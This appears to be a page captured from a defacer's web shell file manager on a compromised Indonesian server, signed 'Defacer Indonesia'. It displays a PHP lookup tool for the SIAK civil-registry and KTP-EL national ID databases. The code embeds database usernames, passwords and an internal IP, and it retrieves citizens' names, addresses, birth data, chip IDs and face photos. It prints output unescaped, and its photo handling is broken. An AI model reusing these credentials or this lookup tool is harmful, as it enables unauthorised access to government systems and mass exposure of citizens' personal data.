MINI
C:
/
siak
/
app
/
AdminLTE
/
Upload File:
files >> C:/siak/app/AdminLTE/pencarian.php
<?php // =========================================================== // MODUL SIAK + KTP-EL LENGKAP & SIAP PAKAI // =========================================================== // Fitur: // ✔ Pencarian SIAK via NIK dan Nama // ✔ Pencarian Database KTP-EL // ✔ Pengambilan Foto KTP-EL (BLOB) // ✔ Bind parameter (AMAN dari SQL Injection) // ✔ Output rapi & responsif (Bootstrap) // =========================================================== // ----------------------------------------------------------- // KONEKSI DATABASE SIAK // ----------------------------------------------------------- $ip_siak = "localhost"; $port_siak = "1521"; $db_user_siak = "siakoff"; $db_pass_siak = "bobbytgs13"; $db_sid_siak = "siakdb"; $conn_siak = oci_connect($db_user_siak, $db_pass_siak, "$ip_siak:$port_siak/$db_sid_siak"); if (!$conn_siak) die("Koneksi Database SIAK gagal!"); // ----------------------------------------------------------- // KONEKSI DATABASE KTP-EL // ----------------------------------------------------------- $ip_ktp = "10.65.1.2"; $port_ktp = "1521"; $db_user_ktp = "BMUSER"; $db_pass_ktp = "technicalbsl7"; $db_sid_ktp = "ORCL"; $conn_ktp = oci_connect($db_user_ktp, $db_pass_ktp, "$ip_ktp:$port_ktp/$db_sid_ktp"); if (!$conn_ktp) die("Koneksi Database KTP-EL gagal!"); // =========================================================== // PROSES CARI DATA SIAK BERDASARKAN NIK / NAMA // =========================================================== $siak_list = []; $detail_siak = null; if (!empty($_POST['cari_nik']) || !empty($_POST['cari_nama'])) { $nik = isset($_POST['cari_nik']) ? trim($_POST['cari_nik']) : ""; $nama = isset($_POST['cari_nama']) ? trim($_POST['cari_nama']) : ""; $sql = "SELECT NIK, NAMA_LGKP, TMPT_LHR, TGL_LHR, KAB_NAME, KEC_NAME, KEL_NAME FROM biodata_wni WHERE (:nik IS NULL OR NIK = :nik) AND (:nama IS NULL OR LOWER(NAMA_LGKP) LIKE LOWER('%' || :nama || '%'))"; $st = oci_parse($conn_siak, $sql); $nik_bind = ($nik==''? NULL : $nik); $nama_bind = ($nama==''? NULL : $nama); oci_bind_by_name($st, ':nik', $nik_bind); oci_bind_by_name($st, ':nama', $nama_bind); oci_execute($st); while ($row = oci_fetch_assoc($st)) { $siak_list[] = $row; } } // Detail SIAK jika dipilih if (isset($_GET['detail_nik'])) { $dn = $_GET['detail_nik']; $sql = "SELECT * FROM biodata_wni WHERE NIK = :nik"; $st = oci_parse($conn_siak, $sql); oci_bind_by_name($st, ':nik', $dn); oci_execute($st); $detail_siak = oci_fetch_assoc($st); } // =========================================================== // PROSES CARI KTP-EL // =========================================================== $ktp = null; $foto_ktpel = null; if (!empty($_POST['nik_ktp'])) { $nik_ktp = trim($_POST['nik_ktp']); $sql = "SELECT A.CHIP_ID, A.NIK, B.NAMA_LGKP, B.JENIS_KLMIN, B.TMPT_LHR, B.TGL_LHR, B.ALAMAT, B.NO_RT, B.NO_RW, B.NAMA_KEL, TO_CHAR(A.PERSONALIZED_DATE, 'DD-MM-YYYY HH24:MI:SS') AS TGL_CETAK, A.CREATED_USERNAME FROM CARD_MANAGEMENT A JOIN DEMOGRAPHICS B ON A.NIK = B.NIK WHERE A.NIK = :nik"; $st = oci_parse($conn_ktp, $sql); oci_bind_by_name($st, ':nik', $nik_ktp); oci_execute($st); $ktp = oci_fetch_assoc($st); if ($ktp) { $ktp['JENIS_KLMIN'] = ($ktp['JENIS_KLMIN']==1 ? "Laki-Laki" : "Perempuan"); } // FOTO $sqlfoto = "SELECT face FROM face WHERE NIK = :nik"; $stf = oci_parse($conn_ktp, $sqlfoto); oci_bind_by_name($stf, ':nik', $nik_ktp); oci_execute($stf); $rowfoto = oci_fetch_array($stf, OCI_ASSOC + OCI_RETURN_LOBS); if (!empty($rowfoto['PHOTO'])) { $foto_ktpel = "data:image/jpeg;base64," . base64_encode($rowfoto['PHOTO']); } } ?> <!DOCTYPE html> <html> <head> <title>MODUL SIAK + KTP-EL</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"> </head> <body class="container py-4"> <h2 class="text-center mb-4">MODUL SIAK & DATABASE KTP-EL</h2> <!-- =========================================================== --> <!-- FORM PENCARIAN SIAK --> <!-- =========================================================== --> <div class="card mb-4 p-3"> <h4>Pencarian Data SIAK</h4> <form method="POST"> <div class="row mb-2"> <div class="col-md-4"> <input name="cari_nik" class="form-control" placeholder="Masukkan NIK"> </div> <div class="col-md-4"> <input name="cari_nama" class="form-control" placeholder="Masukkan Nama"> </div> <div class="col-md-4"> <button class="btn btn-primary">Cari SIAK</button> </div> </div> </form> </div> <?php if (count($siak_list)>0): ?> <div class="card p-3 mb-4"> <h5>Hasil Pencarian SIAK:</h5> <table class="table table-bordered table-striped"> <thead> <tr> <th>NIK</th> <th>Nama</th> <th>TTL</th> <th>Wilayah</th> <th>Aksi</th> </tr> </thead> <tbody> <?php foreach ($siak_list as $r): ?> <tr> <td><?= $r['NIK'] ?></td> <td><?= $r['NAMA_LGKP'] ?></td> <td><?= $r['TMPT_LHR'] ?>, <?= $r['TGL_LHR'] ?></td> <td><?= $r['KAB_NAME'] ?> / <?= $r['KEC_NAME'] ?> / <?= $r['KEL_NAME'] ?></td> <td> <a href="?detail_nik=<?= $r['NIK'] ?>" class="btn btn-sm btn-info">Detail</a> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> <!-- =========================================================== --> <!-- DETAIL SIAK --> <!-- =========================================================== --> <?php if ($detail_siak): ?> <div class="card p-3 mb-4"> <h4>Detail Data SIAK</h4> <table class="table table-bordered"> <?php foreach ($detail_siak as $k => $v): ?> <tr><th><?= $k ?></th><td><?= $v ?></td></tr> <?php endforeach; ?> </table> </div> <?php endif; ?> <!-- =========================================================== --> <!-- FORM PENCARIAN KTP-EL --> <!-- =========================================================== --> <div class="card p-3 mb-4"> <h4>Pencarian Data KTP-EL</h4> <form method="POST"> <div class="row"> <div class="col-md-6"> <input name="nik_ktp" class="form-control" placeholder="Masukkan NIK KTP-EL"> </div> <div class="col-md-4"> <button class="btn btn-success">Cari KTP-EL</button> </div> </div> </form> </div> <!-- =========================================================== --> <!-- HASIL DATA KTP-EL --> <!-- =========================================================== --> <?php if ($ktp): ?> <div class="card p-3 mb-4"> <h4>Data KTP-EL</h4> <table class="table table-bordered"> <tr><th>Chip ID</th><td><?= $ktp['CHIP_ID'] ?></td></tr> <tr><th>NIK</th><td><?= $ktp['NIK'] ?></td></tr> <tr><th>Nama</th><td><?= $ktp['NAMA_LGKP'] ?></td></tr> <tr><th>Jenis Kelamin</th><td><?= $ktp['JENIS_KLMIN'] ?></td></tr> <tr><th>TTL</th><td><?= $ktp['TMPT_LHR'] ?>, <?= $ktp['TGL_LHR'] ?></td></tr> <tr> <th>Alamat</th> <td> <?= $ktp['ALAMAT'] ?><br> RT <?= $ktp['NO_RT'] ?>/RW <?= $ktp['NO_RW'] ?><br> Kel. <?= $ktp['NAMA_KEL'] ?> </td> </tr> <tr><th>Tanggal Cetak</th><td><?= $ktp['TGL_CETAK'] ?></td></tr> <tr><th>Operator</th><td><?= $ktp['CREATED_USERNAME'] ?></td></tr> </table> <h5>Foto KTP-EL</h5> <?php if ($FACE): ?> <img src="<?= $FACE ?>" width="280" class="img-thumbnail"> <?php else: ?> <div class="alert alert-warning">Foto sengaja tidak di tampilkan.</div> <?php endif; ?> </div> <?php endif; ?> </body> </html>
Copyright ©2021 || Defacer Indonesia